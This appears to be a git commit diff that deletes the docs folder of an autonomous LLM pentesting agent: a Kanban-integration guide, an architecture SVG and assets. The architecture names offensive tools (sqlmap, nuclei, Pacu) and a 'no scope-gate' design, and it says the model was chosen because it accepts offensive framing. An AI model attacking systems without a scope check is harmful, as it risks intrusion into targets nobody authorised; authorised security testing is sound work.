Autonomous OODA-loop pentesting agent. Hermes brain, Kali + Playwright tools over MCP, ATT&CK as the Orient language.
Python ai-agentsautonomous-agentskali-linuxllm-agentsoffensive-securityooda-looppentestingplaywrightsecurity
chore: move docs/ to gh-pages branch
irraz10be5ac0f2e3
diff --git a/docs/.nojekyll b/docs/.nojekylldeleted file mode 100644index e69de29..0000000diff --git a/docs/KANBAN-INTEGRATION.md b/docs/KANBAN-INTEGRATION.mddeleted file mode 100644index 921cb20..0000000--- a/docs/KANBAN-INTEGRATION.md+++ /dev/null@@ -1,385 +0,0 @@-# Kanban Integration in Vulnerator-AI--**Branch:** `feature/kanban-integration`-**Date:** 2026-10-22-**Status:** ✅ Functional and tested-------## Summary--This branch integrates Hermes Agent's **Kanban Board** system as an **optional** tracking layer for pentest engagements, without changing the default OODA loop behavior.--### What it adds--1. **`kanban` toolset** enabled in `config.yaml`-2. **Documentation in `SOUL.md`** on how to use Kanban (Option A vs Option B)-3. **Increased delegation concurrency** (10 → 50 workers)-4. **Complete usage guide** in `agent-ooda/KANBAN-USAGE.md`--### What does NOT change--- ✅ OODA loop remains the same (OBSERVE → ORIENT → DECIDE → ACT → REPORT)-- ✅ Mandatory response format `OODA — <PHASE> (step N): description`-- ✅ Uses `todo_list` by default (`master` behavior)-- ✅ `record_finding` remains the durable evidence memory-- ✅ OODA discipline unchanged-------## Technical changes--### 1. `agent-ooda/profile/config.yaml`--#### a) `kanban` toolset added--```yaml-toolsets:- - kali- - playwright- - todo- - kanban # ← NEW-```--**Exposes functions:**-- `kanban_create(goal, board, assignee, depends_on)`-- `kanban_work(task_id)`-- `kanban_complete(task_id)`-- `kanban_list(board)`-- `kanban_block(task_id, reason)`-- `kanban_show(task_id)`-- `kanban_comment(task_id, text)`-- `kanban_attach(task_id, path)`--#### b) Increased delegation concurrency--```yaml-delegation:- max_concurrent_children: 50 # previously: 10 (default)-```--**Validated by:** Nous 1,393-agent refactor (218 concurrent workers stable)-**Use case:** Massive scans of large networks (/24 = 254 hosts in parallel)-------### 2. `agent-ooda/profile/SOUL.md`--New section: **"Loop state management with todo_list and Kanban"** (74 lines)--#### Before (master):-- 2 layers: `todo_list` + `record_finding`-- Only mentioned `todo_list`--#### After (feature/kanban-integration):-- 3 layers: `todo_list` + `kanban_*` + `record_finding`-- **Comparison table** of when to use each system:--| System | Recommended use |-|--------|-----------------|-| `todo_list` | Short engagements (<1h), no expected interruptions |-| `kanban_*` | Long engagements (>1h), crash recovery, multiple targets |-| `record_finding` | Forensic evidence (always) |--#### OODA + Kanban workflow documented:--1. **Start:** Create board `engagement-<target-id>` with 5 chained tasks (OBSERVE → ORIENT → DECIDE → ACT → REPORT) with `depends_on`-2. **On phase entry:** `kanban_work(task_id)`-3. **On phase completion:** `kanban_complete(task_id)` → automatically unlocks next phase-4. **If ACT fails:** Create new ORIENT task with `depends_on=[act_task_id]` → DAG records the iteration-5. **On pause:** `kanban_block(task_id, reason="exhausted_vectors")`-6. **On resume:** `kanban_list(board)` → read complete state and continue--**Documented advantages:**-- Crash recovery (permanent SQLite in `~/.hermes/kanban.db`)-- Explicit DAG of dependencies (audit trail)-- Resumption without interrogation-------## New files--### 1. `agent-ooda/KANBAN-USAGE.md` (335 lines)--Complete usage guide with:-- 3 access methods: Python tool calls, `/kanban` commands in TUI, CLI `hermes kanban`-- Step-by-step workflow with real code-- CTF engagement example with iteration (ACT fails → ORIENT retry)-- Troubleshooting (database locked, dependencies not respected, etc.)-- Comparison mono-profile vs multi-profile--### 2. `TESTING-KANBAN.md` (306 lines)--Test suite with 10 tests to validate integration:-1. Successful rebuild-2. Delegation config (50 workers)-3. Dashboard accessible with Ember theme-4. Kanban board created from TUI-5. Claim→complete workflow-6. Dashboard visualization-7. Crash recovery-8. Concurrent delegation (50 workers)-9. SOUL.md loaded correctly-10. Real engagement (optional)--### 3. `rebuild-containers.sh` (62 lines)--Automated rebuild script from scratch:-- Stop and remove containers + volumes-- Clean Vulnerator images-- Create `docker-compose.tmp.yml` without `platforms:` (fix for systems without buildx)-- Rebuild without cache-- Start everything-- Show verifications-------## Behavior: master vs feature/kanban-integration--### Without mentioning Kanban in prompt (`master` behavior)--```-OODA — OBSERVE (step 1): starting reconnaissance-[uses todo_list for tracking]-[executes tools]-[uses record_finding for evidence]-OODA — ORIENT (step 2): analyzing findings-...-```--**Result:** Identical to `master`.--### With explicit Kanban in prompt--```-Prompt:-TRACKING:-- Use Kanban to track progress-- Board: engagement-<target>-- Create OODA phases in board with dependencies-```--```-OODA — OBSERVE (step 1): starting reconnaissance-[calls kanban_create 5 times: OBSERVE, ORIENT, DECIDE, ACT, REPORT with depends_on]-[calls kanban_work(observe_id)]-[executes tools]-[uses record_finding for evidence]-[calls kanban_complete(observe_id)] ← unlocks ORIENT-OODA — ORIENT (step 2): analyzing findings-[calls kanban_work(orient_id)]-...-```--**Difference:** Each phase transition is recorded in Kanban. Loop iterations (ACT fails → ORIENT retry) are explicit in the DAG.-------## Usage example--### Prompt for engagement with Kanban--```-CTF ENGAGEMENT — Full authorized compromise--TARGET: http://target.example.com-MODE: ctf-GOAL: Achieve RCE--TRACKING:-- Use Kanban to track engagement progress-- Board: engagement-example-target-- Create OODA phases in board with dependencies-- Complete each phase as you progress--Start with OBSERVE.-```--### Monitoring during engagement--**From Dashboard:**-```-http://localhost:9119 → Kanban → engagement-example-target-```--**From TUI:**-```-/kanban list --board engagement-example-target-```--**From CLI:**-```bash-docker exec ooda-agent hermes kanban list --board engagement-example-target-```-------## Multi-profile (future, NOT implemented in this branch)--Kanban allows multi-profile coordination, but this branch uses **mono-profile** (`default` profile).--### What could be done in the future--```bash-# Create specialized profiles-hermes profile create vulnerator-observe --clone-hermes profile create vulnerator-orient --clone-hermes profile create vulnerator-act --clone--# Start gateways-hermes -p vulnerator-observe gateway start &-hermes -p vulnerator-orient gateway start &-hermes -p vulnerator-act gateway start &--# Conductor creates tasks with specific assignee-kanban_create(- goal="OBSERVE: scan complete /24",- board="engagement-internal-network",- assignee="vulnerator-observe" # auto-dispatch-)-```--**Dispatcher** (background) would poll the board and automatically assign tasks to profiles.--**But this requires:**-- Multiple profiles configured with specialized SOUL.md-- Active dispatcher in gateway-- OODA flow refactor (orchestrator vs executors)--**Design decision:** Left for future work. Current branch uses mono-profile with Kanban as **tracking**, not **auto-dispatch**.-------## Testing--### Smoke test (quick)--```bash-# 1. Rebuild-./rebuild-containers.sh--# 2. Verify config-docker exec ooda-agent hermes config show | grep -A 2 delegation-# Should show: max_concurrent_children: 50--# 3. Verify toolsets-docker exec ooda-agent cat /opt/data/config.yaml | grep -A 5 "^toolsets:"-# Should include: - kanban--# 4. Enter TUI-docker exec -it ooda-agent hermes tui--# 5. Test Kanban-> /kanban boards list-# Should not error "command not found"-```--### Complete test--Follow `TESTING-KANBAN.md` (10 sequential tests).-------## Known issues--### 1. Multi-platform build (docker-compose.yml)--The `docker-compose.yml` declares `platforms: [linux/arm64, linux/amd64]`, but systems without Docker Buildx configured fail with:--```-Multi-platform build is not supported for the docker driver.-```--**Temporary solution:** `rebuild-containers.sh` creates `docker-compose.tmp.yml` without `platforms:` and builds only for local platform.--**Permanent solution:** Configure Buildx:-```bash-docker buildx create --name multiarch --driver docker-container --use-```--### 2. Kanban board not visible if agent didn't use it--If prompt does NOT mention "Use Kanban", agent uses `todo_list` and **doesn't create board**. This is correct (`master` behavior).--To force Kanban, prompt must be explicit:-```-TRACKING: Use Kanban to track progress-```--### 3. Evidence lost on `docker compose down`--Findings (`record_finding`) live in `/artifacts/<engagement-id>/` inside `kali` container, which **has NO persistent volume**.--**Solution:** Copy evidence before stopping:-```bash-docker cp kali:/artifacts/<engagement-id>/findings.jsonl ./.agents/tasks/<engagement-id>/-```--**Future improvement:** Add volume in `docker-compose.yml`:-```yaml-kali:- volumes:- - ./artifacts:/artifacts-```-------## Comparison with master--| Aspect | `master` | `feature/kanban-integration` |-|--------|----------|------------------------------|-| Toolsets | `kali`, `playwright`, `todo` | `kali`, `playwright`, `todo`, `kanban` |-| Default tracking | `todo_list` | `todo_list` (unchanged) |-| Optional tracking | none | `kanban_*` |-| Concurrent delegation | 10 (Hermes default) | 50 (explicit) |-| Crash recovery | From `record_finding` | From `kanban_list` + `record_finding` |-| Workflow DAG | No | Yes (with Kanban) |-| Complexity | Low | Low (Kanban is opt-in) |-------## Future roadmap--### Short term (next branch)-- [ ] Add persistent volume for `/artifacts` in `kali`-- [ ] `kanban-pentest` skill that automates setup of 5 tasks (OBSERVE→REPORT)-- [ ] Integrate Kanban board in Vulnerator Dashboard skin--### Medium term-- [ ] Multi-profile: specialized profiles (recon, exploit, post-exploit)-- [ ] Auto-dispatch: active dispatcher to assign tasks automatically-- [ ] Kanban swarms: massive parallelization of /16 (256 /24 in parallel)--### Long term-- [ ] Hermes Issue #344: agent-to-agent messaging, shared blackboard, consensus-- [ ] Meta-OODA orchestrator + specialized workers-------## References--- **Hermes Kanban docs:** https://hermes-agent.nousresearch.com/docs/user-guide/features/kanban-- **Hermes Profiles:** https://hermes-agent.nousresearch.com/docs/user-guide/profiles-- **Nous 1,393-agent refactor:** https://cellcog.ai/blog/nous-hermes-1393-agents-refactor/-- **Issue #344 (future roadmap):** https://github.com/NousResearch/hermes-agent/issues/344-------## Conclusion--Kanban integration is **non-invasive** and **backward-compatible**:-- ✅ Doesn't change OODA loop-- ✅ Doesn't change default behavior-- ✅ Adds optional durable tracking-- ✅ Increases delegation concurrency for large pentests-- ✅ Crash recovery without losing engagement state--**For `master` users:** If you don't mention Kanban in prompt, behavior is identical.--**For users adopting Kanban:** Durable tracking + explicit DAG + crash recovery without losing OODA discipline.-------**Last update:** 2026-10-22-**Branch:** `feature/kanban-integration`-**Commits:** 6 commits from `master`diff --git a/docs/architecture.svg b/docs/architecture.svgdeleted file mode 100644index 5bcbe9a..0000000--- a/docs/architecture.svg+++ /dev/null@@ -1,252 +0,0 @@-<svg xmlns="http://www.w3.org/2000/svg" width="1480" height="980" viewBox="0 0 1480 980" font-family="'Courier New', 'DejaVu Sans Mono', monospace">- <defs>- <!-- arrow markers -->- <marker id="aReq" markerWidth="12" markerHeight="12" refX="8" refY="5" orient="auto">- <path d="M0,0 L10,5 L0,10 z" fill="#e8e8e8"/>- </marker>- <marker id="aEvt" markerWidth="12" markerHeight="12" refX="8" refY="5" orient="auto">- <path d="M0,0 L10,5 L0,10 z" fill="#7f8c8d"/>- </marker>- <marker id="aLlm" markerWidth="12" markerHeight="12" refX="8" refY="5" orient="auto">- <path d="M0,0 L10,5 L0,10 z" fill="#b03a3a"/>- </marker>- <marker id="aLoop" markerWidth="12" markerHeight="12" refX="8" refY="5" orient="auto">- <path d="M0,0 L10,5 L0,10 z" fill="#cfcfcf"/>- </marker>- <marker id="aTgt" markerWidth="13" markerHeight="13" refX="8" refY="5" orient="auto">- <path d="M0,0 L10,5 L0,10 z" fill="#b03a3a"/>- </marker>-- <!-- node glow -->- <filter id="glow" x="-40%" y="-40%" width="180%" height="180%">- <feGaussianBlur stdDeviation="2.4" result="b"/>- <feMerge><feMergeNode in="b"/><feMergeNode in="SourceGraphic"/></feMerge>- </filter>-- <!-- faint grid pattern (PCB vibe) -->- <pattern id="grid" width="40" height="40" patternUnits="userSpaceOnUse">- <path d="M40 0 H0 V40" fill="none" stroke="#141414" stroke-width="1"/>- </pattern>-- <linearGradient id="bone" x1="0" y1="0" x2="0" y2="1">- <stop offset="0" stop-color="#f2f2f2"/>- <stop offset="1" stop-color="#bdbdbd"/>- </linearGradient>- </defs>-- <!-- ===================== BACKDROP ===================== -->- <rect width="1480" height="980" fill="#000000"/>- <rect width="1480" height="980" fill="url(#grid)"/>- <rect x="8" y="8" width="1464" height="964" fill="none" stroke="#2a2a2a" stroke-width="1"/>-- <!-- ===================== TITLE (death-metal flavor) ===================== -->- <text x="40" y="58" fill="#f2f2f2" font-size="34" font-weight="700" letter-spacing="4"- font-family="'Impact','Arial Black',sans-serif">† VULNERATOR AI †</text>- <text x="40" y="84" fill="#8a8a8a" font-size="13" letter-spacing="2">- SYSTEM ARCHITECTURE · OODA pentest driven by Hermes · piloted over HTTP from an external assistant</text>- <text x="40" y="104" fill="#5a5a5a" font-size="11" letter-spacing="1">- no core · no REST facade · no UI · no scope-gate — the agent drives tools end to end over MCP</text>- <line x1="40" y1="116" x2="1440" y2="116" stroke="#2f2f2f" stroke-width="1"/>-- <!-- ===================== OPERATOR COLUMN ===================== -->- <rect x="36" y="140" width="250" height="300" rx="6" fill="#0a0a0a" stroke="#4a4a4a" stroke-width="1.4"/>- <text x="161" y="166" fill="#8a8a8a" font-size="12" text-anchor="middle" letter-spacing="3">OPERATOR / HUMAN</text>-- <!-- pentester glyph -->- <g transform="translate(161,214)">- <circle cx="0" cy="-14" r="18" fill="none" stroke="#cfcfcf" stroke-width="1.6"/>- <path d="M-26,34 a26,26 0 0 1 52,0 z" fill="none" stroke="#cfcfcf" stroke-width="1.6"/>- <path d="M-20,-24 q20,-14 40,0" fill="none" stroke="#cfcfcf" stroke-width="1.6"/>- </g>- <text x="161" y="268" fill="#e8e8e8" font-size="15" font-weight="700" text-anchor="middle">PENTESTER</text>-- <!-- external assistant box -->- <rect x="60" y="296" width="202" height="128" rx="5" fill="#0d0d0d" stroke="#6a6a6a" stroke-width="1.3"/>- <text x="161" y="320" fill="#f2f2f2" font-size="13" font-weight="700" text-anchor="middle" letter-spacing="1">KIRO / CLAUDE</text>- <text x="161" y="338" fill="#8a8a8a" font-size="10" text-anchor="middle">external assistant (HTTP client)</text>- <line x1="76" y1="348" x2="246" y2="348" stroke="#2f2f2f"/>- <text x="161" y="366" fill="#b03a3a" font-size="10.5" text-anchor="middle" font-weight="700">TRIGGER · OBSERVE · SUMMARIZE</text>- <text x="161" y="384" fill="#7f8c8d" font-size="9.5" text-anchor="middle">does NOT reason the pentest</text>- <text x="161" y="400" fill="#7f8c8d" font-size="9.5" text-anchor="middle">sends engagement prompt,</text>- <text x="161" y="414" fill="#7f8c8d" font-size="9.5" text-anchor="middle">reads lifecycle events</text>-- <!-- ===================== DOCKER HOST ===================== -->- <rect x="320" y="134" width="1120" height="620" rx="8" fill="#070707" stroke="#5a5a5a" stroke-width="1.6"/>- <text x="344" y="162" fill="#cfcfcf" font-size="14" font-weight="700" letter-spacing="1">DOCKER HOST · docker-compose (internal project network)</text>- <text x="344" y="181" fill="#6a6a6a" font-size="10.5">one full stack per engagement · isolate with docker compose -p pentest-<name> · named volume: hermes-data (SQLite WAL)</text>-- <!-- ==== ooda-agent / Hermes ==== -->- <rect x="344" y="200" width="470" height="470" rx="6" fill="#0b0b0b" stroke="#9a9a9a" stroke-width="1.6"/>- <text x="368" y="230" fill="#f2f2f2" font-size="17" font-weight="700" letter-spacing="1"- font-family="'Impact','Arial Black',sans-serif">OODA-AGENT</text>- <text x="368" y="249" fill="#8a8a8a" font-size="11">image: nousresearch/hermes-agent · THE BRAIN of the OODA loop</text>- <text x="368" y="266" fill="#6a6a6a" font-size="10">cmd: hermes gateway run (keeps container alive + serves API)</text>-- <!-- API server -->- <rect x="366" y="282" width="426" height="66" rx="4" fill="#101010" stroke="#b03a3a" stroke-width="1.4"/>- <text x="382" y="306" fill="#e8a0a0" font-size="13" font-weight="700">[::] OpenAI-compatible API SERVER · :8642</text>- <text x="382" y="325" fill="#9a7a7a" font-size="10">POST /v1/runs · GET /v1/runs/{id}/events (SSE) · /steer · /stop · /health</text>- <text x="382" y="340" fill="#8a6a6a" font-size="9.5">auth: Authorization: Bearer $HERMES_API_SERVER_KEY (fail-closed, min 8 chars)</text>-- <!-- declarative profile -->- <rect x="366" y="360" width="426" height="150" rx="4" fill="#0e0e0e" stroke="#6a6a6a" stroke-width="1.2"/>- <text x="382" y="382" fill="#cfcfcf" font-size="11.5" font-weight="700">DECLARATIVE PROFILE (agent-ooda/ → /opt/data, bind-mount ro)</text>-- <rect x="382" y="394" width="190" height="100" rx="4" fill="#141414" stroke="#4a4a4a"/>- <text x="396" y="414" fill="#e8e8e8" font-size="11" font-weight="700">prompts (layer 1-2)</text>- <text x="396" y="432" fill="#8a8a8a" font-size="9.5">SOUL.md — executor identity</text>- <text x="396" y="447" fill="#8a8a8a" font-size="9.5">ephemeral-system.md</text>- <text x="396" y="462" fill="#8a8a8a" font-size="9.5">AGENTS.md — engagement rules</text>- <text x="396" y="482" fill="#6a6a6a" font-size="9">system prompt of the OODA loop</text>-- <rect x="586" y="394" width="190" height="100" rx="4" fill="#141414" stroke="#4a4a4a"/>- <text x="600" y="414" fill="#e8e8e8" font-size="11" font-weight="700">skills (SKILL.md)</text>- <text x="600" y="432" fill="#8a8a8a" font-size="9.5">pentest-ooda · attack-navigation</text>- <text x="600" y="447" fill="#8a8a8a" font-size="9.5">l3-recon-pivot · web-pentest</text>- <text x="600" y="462" fill="#8a8a8a" font-size="9.5">aws-pacu-privesc</text>- <text x="600" y="477" fill="#8a8a8a" font-size="9.5">pentest-report · ooda-report-handoff</text>-- <!-- MCP client -->- <rect x="366" y="522" width="426" height="58" rx="4" fill="#101010" stroke="#9a9a9a" stroke-width="1.2"/>- <text x="382" y="544" fill="#e8e8e8" font-size="12" font-weight="700">[∞] MCP CLIENT · zero native toolsets</text>- <text x="382" y="562" fill="#8a8a8a" font-size="9.5">Hermes' entire tool surface = the two MCP servers on the right (kali + playwright)</text>- <text x="382" y="575" fill="#6a6a6a" font-size="9">principle: everything goes through MCP</text>-- <!-- reasoning model note -->- <rect x="366" y="594" width="426" height="56" rx="4" fill="#0e0e0e" stroke="#8a4a4a" stroke-width="1.1"/>- <text x="382" y="615" fill="#e8a0a0" font-size="11" font-weight="700">reasoning model → mistralai/mistral-large (via OpenRouter)</text>- <text x="382" y="632" fill="#9a7a7a" font-size="9.5">chosen on purpose: accepts the authorized-offensive framing</text>- <text x="382" y="645" fill="#8a6a6a" font-size="9">stateless completions · N parallel calls per OODA cycle</text>-- <!-- ==== KALI MCP ==== -->- <rect x="836" y="200" width="582" height="286" rx="6" fill="#0b0b0b" stroke="#9a9a9a" stroke-width="1.6"/>- <g transform="translate(862,228)">- <path d="M-13,11 L0,-14 L13,11 z" fill="none" stroke="#e8e8e8" stroke-width="1.6"/>- </g>- <text x="888" y="226" fill="#f2f2f2" font-size="17" font-weight="700" letter-spacing="1"- font-family="'Impact','Arial Black',sans-serif">KALI</text>- <text x="888" y="245" fill="#8a8a8a" font-size="11">deterministic pentest-tool runtime · kali-mcp server · built from docker/kali</text>-- <rect x="858" y="262" width="536" height="60" rx="4" fill="#101010" stroke="#9a9a9a" stroke-width="1.3"/>- <text x="874" y="285" fill="#e8e8e8" font-size="12.5" font-weight="700">[∞] kali-mcp (streamable-HTTP) · :8900</text>- <text x="874" y="304" fill="#8a8a8a" font-size="9.5">tools: kali_run (blocking) · aws_iam_enum · aws_iam_simulate · prowler_scan · record_finding · get_findings</text>- <text x="874" y="317" fill="#6a6a6a" font-size="9">one tool call at a time · verbatim returncode + output as evidence</text>-- <rect x="858" y="334" width="256" height="64" rx="4" fill="#141414" stroke="#4a4a4a"/>- <text x="874" y="356" fill="#e8e8e8" font-size="11" font-weight="700">CLI tooling (kali_run)</text>- <text x="874" y="374" fill="#8a8a8a" font-size="9.5">nmap · whatweb · nuclei · ffuf</text>- <text x="874" y="389" fill="#8a8a8a" font-size="9.5">sqlmap · Pacu · aws cli</text>-- <rect x="1138" y="334" width="256" height="64" rx="4" fill="#141414" stroke="#4a4a4a"/>- <text x="1154" y="356" fill="#e8e8e8" font-size="11" font-weight="700">artifacts + findings store</text>- <text x="1154" y="374" fill="#8a8a8a" font-size="9.5">/artifacts · findings.jsonl</text>- <text x="1154" y="389" fill="#8a8a8a" font-size="9.5">data-plane HTTP · :8901</text>-- <rect x="858" y="410" width="536" height="60" rx="4" fill="#0e0e0e" stroke="#6a6a6a" stroke-width="1.1"/>- <text x="874" y="432" fill="#cfcfcf" font-size="11" font-weight="700">cloud read-only collectors (optional)</text>- <text x="874" y="450" fill="#8a8a8a" font-size="9.5">Prowler · ScoutSuite · Cloudsplaining — run inside kali</text>- <text x="874" y="463" fill="#6a6a6a" font-size="9">AWS creds per stack (AWS_ACCESS_KEY_ID / SECRET / SESSION_TOKEN); empty = disabled</text>-- <!-- ==== PLAYWRIGHT MCP ==== -->- <rect x="836" y="502" width="582" height="150" rx="6" fill="#0b0b0b" stroke="#9a9a9a" stroke-width="1.6"/>- <text x="862" y="530" fill="#f2f2f2" font-size="15" font-weight="700" letter-spacing="1"- font-family="'Impact','Arial Black',sans-serif">PLAYWRIGHT-MCP</text>- <text x="862" y="548" fill="#8a8a8a" font-size="11">real browser · headless Chromium · image: mcr.microsoft.com/playwright/mcp</text>-- <rect x="858" y="562" width="536" height="76" rx="4" fill="#101010" stroke="#9a9a9a" stroke-width="1.3"/>- <text x="874" y="585" fill="#e8e8e8" font-size="12.5" font-weight="700">[∞] browser MCP · :8931/mcp (internal only)</text>- <text x="874" y="604" fill="#8a8a8a" font-size="9.5">tools: navigate · click · type · snapshot · evaluate (web surface for web-pentest skill)</text>- <text x="874" y="619" fill="#6a6a6a" font-size="9">--isolated ephemeral profile · --no-sandbox · allowed-host: playwright-mcp:8931</text>- <text x="874" y="633" fill="#6a6a6a" font-size="9">not published to host — reachable only over the docker internal network</text>-- <!-- ===================== OPENROUTER (external cloud) ===================== -->- <rect x="344" y="700" width="330" height="92" rx="6" fill="#0a0a0a" stroke="#8a4a4a" stroke-width="1.5"/>- <text x="368" y="726" fill="#e8a0a0" font-size="14" font-weight="700" letter-spacing="1">☁ OPENROUTER (remote LLM)</text>- <text x="368" y="746" fill="#9a7a7a" font-size="10.5">serves mistralai/mistral-large to Hermes</text>- <text x="368" y="763" fill="#8a6a6a" font-size="9.5">key: OPENROUTER_API_KEY (required, fail-closed)</text>- <text x="368" y="779" fill="#6a6a6a" font-size="9">the ONLY call that leaves the host (outbound HTTPS)</text>-- <!-- ===================== OODA + ATTACK PANEL ===================== -->- <rect x="700" y="784" width="740" height="168" rx="6" fill="#080808" stroke="#6a6a6a" stroke-width="1.4"/>- <text x="724" y="810" fill="#cfcfcf" font-size="13.5" font-weight="700" letter-spacing="1">THE OODA LOOP · ATT&CK AS THE ORIENT LANGUAGE</text>-- <!-- OODA nodes -->- <g transform="translate(772,878)">- <circle r="34" fill="#0d0d0d" stroke="#e8e8e8" stroke-width="1.6"/>- <text x="0" y="-4" font-size="13" font-weight="700" fill="#f2f2f2" text-anchor="middle">OBSERVE</text>- <text x="0" y="12" font-size="8.5" fill="#8a8a8a" text-anchor="middle">server_info</text>- </g>- <g transform="translate(930,878)">- <circle r="34" fill="#0d0d0d" stroke="#e8e8e8" stroke-width="1.6"/>- <text x="0" y="-4" font-size="13" font-weight="700" fill="#f2f2f2" text-anchor="middle">ORIENT</text>- <text x="0" y="12" font-size="8.5" fill="#b03a3a" text-anchor="middle">+ ATT&CK</text>- </g>- <g transform="translate(1088,878)">- <circle r="34" fill="#0d0d0d" stroke="#e8e8e8" stroke-width="1.6"/>- <text x="0" y="-4" font-size="13" font-weight="700" fill="#f2f2f2" text-anchor="middle">DECIDE</text>- <text x="0" y="12" font-size="8.5" fill="#8a8a8a" text-anchor="middle">alternatives</text>- </g>- <g transform="translate(1246,878)">- <circle r="34" fill="#0d0d0d" stroke="#e8e8e8" stroke-width="1.6"/>- <text x="0" y="-4" font-size="13" font-weight="700" fill="#f2f2f2" text-anchor="middle">ACT</text>- <text x="0" y="12" font-size="8.5" fill="#8a8a8a" text-anchor="middle">kali_run</text>- </g>-- <path d="M806,878 L892,878" fill="none" stroke="#cfcfcf" stroke-width="2" marker-end="url(#aLoop)"/>- <path d="M964,878 L1050,878" fill="none" stroke="#cfcfcf" stroke-width="2" marker-end="url(#aLoop)"/>- <path d="M1122,878 L1208,878" fill="none" stroke="#cfcfcf" stroke-width="2" marker-end="url(#aLoop)"/>- <path d="M1246,912 C1246,944 772,944 772,912" fill="none" stroke="#cfcfcf" stroke-width="2" stroke-dasharray="5 4" marker-end="url(#aLoop)"/>- <text x="1009" y="940" fill="#8a8a8a" font-size="9.5" text-anchor="middle">record evidence (technique_id) · 3 cycles without progress → report handoff</text>- <text x="930" y="832" fill="#b03a3a" font-size="9" text-anchor="middle">"which tactic comes next?"</text>- <path d="M930,836 L930,842" fill="none" stroke="#b03a3a" stroke-width="1.3" marker-end="url(#aLoop)"/>-- <!-- ===================== FLOWS ===================== -->- <!-- assistant -> API (request) -->- <path d="M262,330 C300,330 300,312 366,312" fill="none" stroke="#e8e8e8" stroke-width="2.4" marker-end="url(#aReq)"/>- <text x="314" y="304" fill="#e8e8e8" font-size="9.5" text-anchor="middle" font-weight="700">HTTP + Bearer</text>- <text x="314" y="316" fill="#8a8a8a" font-size="8.5" text-anchor="middle">POST /v1/runs</text>- <!-- API -> assistant (events) -->- <path d="M366,336 C300,336 300,360 262,360" fill="none" stroke="#7f8c8d" stroke-width="2" stroke-dasharray="6 5" marker-end="url(#aEvt)"/>- <text x="312" y="378" fill="#7f8c8d" font-size="9" text-anchor="middle">SSE events / status ↩</text>-- <!-- MCP client -> kali -->- <path d="M792,540 C816,540 816,292 858,292" fill="none" stroke="#e8e8e8" stroke-width="2.4" marker-end="url(#aReq)"/>- <text x="820" y="400" fill="#cfcfcf" font-size="9.5" text-anchor="middle" transform="rotate(-90 820 400)">MCP · kali:8900</text>- <!-- MCP client -> playwright -->- <path d="M792,556 C816,556 816,600 858,600" fill="none" stroke="#e8e8e8" stroke-width="2.4" marker-end="url(#aReq)"/>- <text x="824" y="582" fill="#cfcfcf" font-size="9.5" text-anchor="middle">MCP · :8931</text>-- <!-- Hermes -> OpenRouter -->- <path d="M500,650 C500,676 500,686 500,700" fill="none" stroke="#b03a3a" stroke-width="2.2" marker-end="url(#aLlm)"/>- <text x="516" y="684" fill="#b03a3a" font-size="9.5" text-anchor="start">LLM reasoning (HTTPS)</text>-- <!-- kali -> target -->- <path d="M1418,292 C1440,292 1440,292 1462,292" fill="none" stroke="#b03a3a" stroke-width="2.4" marker-end="url(#aTgt)"/>- <text x="1360" y="276" fill="#b03a3a" font-size="10.5" text-anchor="start" font-weight="700">→ AUTHORIZED TARGET</text>- <text x="1360" y="312" fill="#8a6a6a" font-size="8.5" text-anchor="start">no scope-gate — operator owns it</text>-- <!-- ===================== LEGEND ===================== -->- <rect x="36" y="460" width="250" height="294" rx="6" fill="#0a0a0a" stroke="#4a4a4a" stroke-width="1.2"/>- <text x="54" y="486" fill="#f2f2f2" font-size="12.5" font-weight="700" letter-spacing="1">† LEGEND</text>-- <line x1="54" y1="510" x2="90" y2="510" stroke="#e8e8e8" stroke-width="2.4" marker-end="url(#aReq)"/>- <text x="100" y="514" fill="#cfcfcf" font-size="10.5">request / call</text>-- <line x1="54" y1="534" x2="90" y2="534" stroke="#7f8c8d" stroke-width="2" stroke-dasharray="6 5" marker-end="url(#aEvt)"/>- <text x="100" y="538" fill="#cfcfcf" font-size="10.5">events / response</text>-- <line x1="54" y1="558" x2="90" y2="558" stroke="#b03a3a" stroke-width="2.2" marker-end="url(#aLlm)"/>- <text x="100" y="562" fill="#cfcfcf" font-size="10.5">LLM / target (outbound)</text>-- <line x1="54" y1="586" x2="286" y2="586" stroke="#2f2f2f"/>- <text x="54" y="608" fill="#f2f2f2" font-size="12" font-weight="700">HOST PORTS</text>- <text x="54" y="628" fill="#cfcfcf" font-size="9.5">:8642 Hermes API (Bearer)</text>- <text x="54" y="644" fill="#cfcfcf" font-size="9.5">:8900 kali-mcp</text>- <text x="54" y="660" fill="#cfcfcf" font-size="9.5">:8901 artifacts data-plane</text>- <text x="54" y="676" fill="#7f8c8d" font-size="9.5">:8931 playwright (internal only)</text>-- <line x1="54" y1="690" x2="286" y2="690" stroke="#2f2f2f"/>- <text x="54" y="710" fill="#8a8a8a" font-size="9">assistant triggers · Hermes reasons the OODA</text>- <text x="54" y="724" fill="#8a8a8a" font-size="9">kali executes · findings are evidence-first</text>- <text x="54" y="740" fill="#5a5a5a" font-size="8.5">† summoned from the depths of the OODA abyss †</text>-</svg>diff --git a/docs/assets/ooda-kali.png b/docs/assets/ooda-kali.pngdeleted file mode 100644index 84c16c4..0000000Binary files a/docs/assets/ooda-kali.png and /dev/null differdiff --git a/docs/assets/ooda-report.png b/docs/assets/ooda-report.pngdeleted file mode 100644index cdd14a6..0000000Binary files a/docs/assets/ooda-report.png and /dev/null differdiff --git a/docs/assets/vulnerator-ai-logo-transparent.png b/docs/assets/vulnerator-ai-logo-transparent.pngdeleted file mode 100644index 214de97..0000000Binary files a/docs/assets/vulnerator-ai-logo-transparent.png and /dev/null differdiff --git a/docs/assets/vulnerator-ai-song.mp3 b/docs/assets/vulnerator-ai-song.mp3deleted file mode 100644index 92a6055..0000000Binary files a/docs/assets/vulnerator-ai-song.mp3 and /dev/null differdiff --git a/docs/assets/vulnerator-ai-wallpaper-desktop.jpeg b/docs/assets/vulnerator-ai-wallpaper-desktop.jpegdeleted file mode 100644index dff57c1..0000000Binary files a/docs/assets/vulnerator-ai-wallpaper-desktop.jpeg and /dev/null differdiff --git a/docs/assets/vulnerator-ai-wallpaper-mobile.jpeg b/docs/assets/vulnerator-ai-wallpaper-mobile.jpegdeleted file mode 100644index 7cf4ef5..0000000Binary files a/docs/assets/vulnerator-ai-wallpaper-mobile.jpeg and /dev/null differdiff --git a/docs/assets/vulnerator-kanban-demo.mp4 b/docs/assets/vulnerator-kanban-demo.mp4deleted file mode 100644index 56b0287..0000000Binary files a/docs/assets/vulnerator-kanban-demo.mp4 and /dev/null differdiff --git a/docs/boot.js b/docs/boot.jsdeleted file mode 100644index 869ca06..0000000--- a/docs/boot.js+++ /dev/null@@ -1,556 +0,0 @@-/* 